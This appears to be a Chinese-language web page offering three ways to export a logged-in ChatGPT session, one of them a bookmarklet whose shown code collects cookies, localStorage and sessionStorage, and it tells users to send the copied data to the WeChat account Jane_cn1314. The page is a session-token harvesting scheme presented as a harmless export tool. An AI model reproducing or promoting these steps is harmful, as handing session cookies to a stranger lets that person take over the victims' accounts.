✅ 最推荐的方式
直接请求 ChatGPT 官方 API 获取会话信息，无需安装任何扩展，支持所有浏览器和设备。
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1
确保已在 ChatGPT 登录
如果未登录，点击下方按钮先打开 ChatGPT 登录，然后回到本页面。
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2
点击导出按钮
页面会自动请求 ChatGPT API 获取当前登录态，并编码导出。
🔖 书签工具方式
将一段 JavaScript 保存为浏览器书签，在 ChatGPT 页面点击即可提取登录态。兼容所有浏览器，包括手机端 Safari。
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1
保存书签工具
拖拽下方紫色按钮到浏览器书签栏（电脑端），或长按添加到书签（手机端）。
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2
在 ChatGPT 页面使用
打开 chatgpt.com 并登录，然后点击书签栏上的「提取 ChatGPT 登录态」，数据会自动复制。
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3
粘贴发送
回到本页面，将复制的数据粘贴到下方文本框，或直接用微信发送给 Jane_cn1314。
💡 如果无法拖拽，可以复制下方代码手动创建书签
javascript:(function(){var d={cookies:document.cookie,localStorage:{},sessionStorage:{},url:location.href,time:new Date().toISOString(),userAgent:navigator.userAgent};for(var i=0;i
🔌 扩展桥接方式
如果你已安装 ChatGPT Session Exporter 扩展，可以通过扩展桥接导出数据。这是原有的导出方式。
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打开对应站点并登录
点击按钮会在新标签页打开站点。登录完成后，请回到本页面继续导出。
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2
按需开启加密
开启后需要输入加密口令。导出内容会用浏览器 WebCrypto 进行 AES-GCM 加密。
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3
导出并发送
点击"导出当前状态"，成功后数据会复制到剪切板。然后添加微信 Jane_cn1314，并粘贴发送。
发送提醒
请添加微信，并把剪切板里的导出数据粘贴后发送。
Jane_cn1314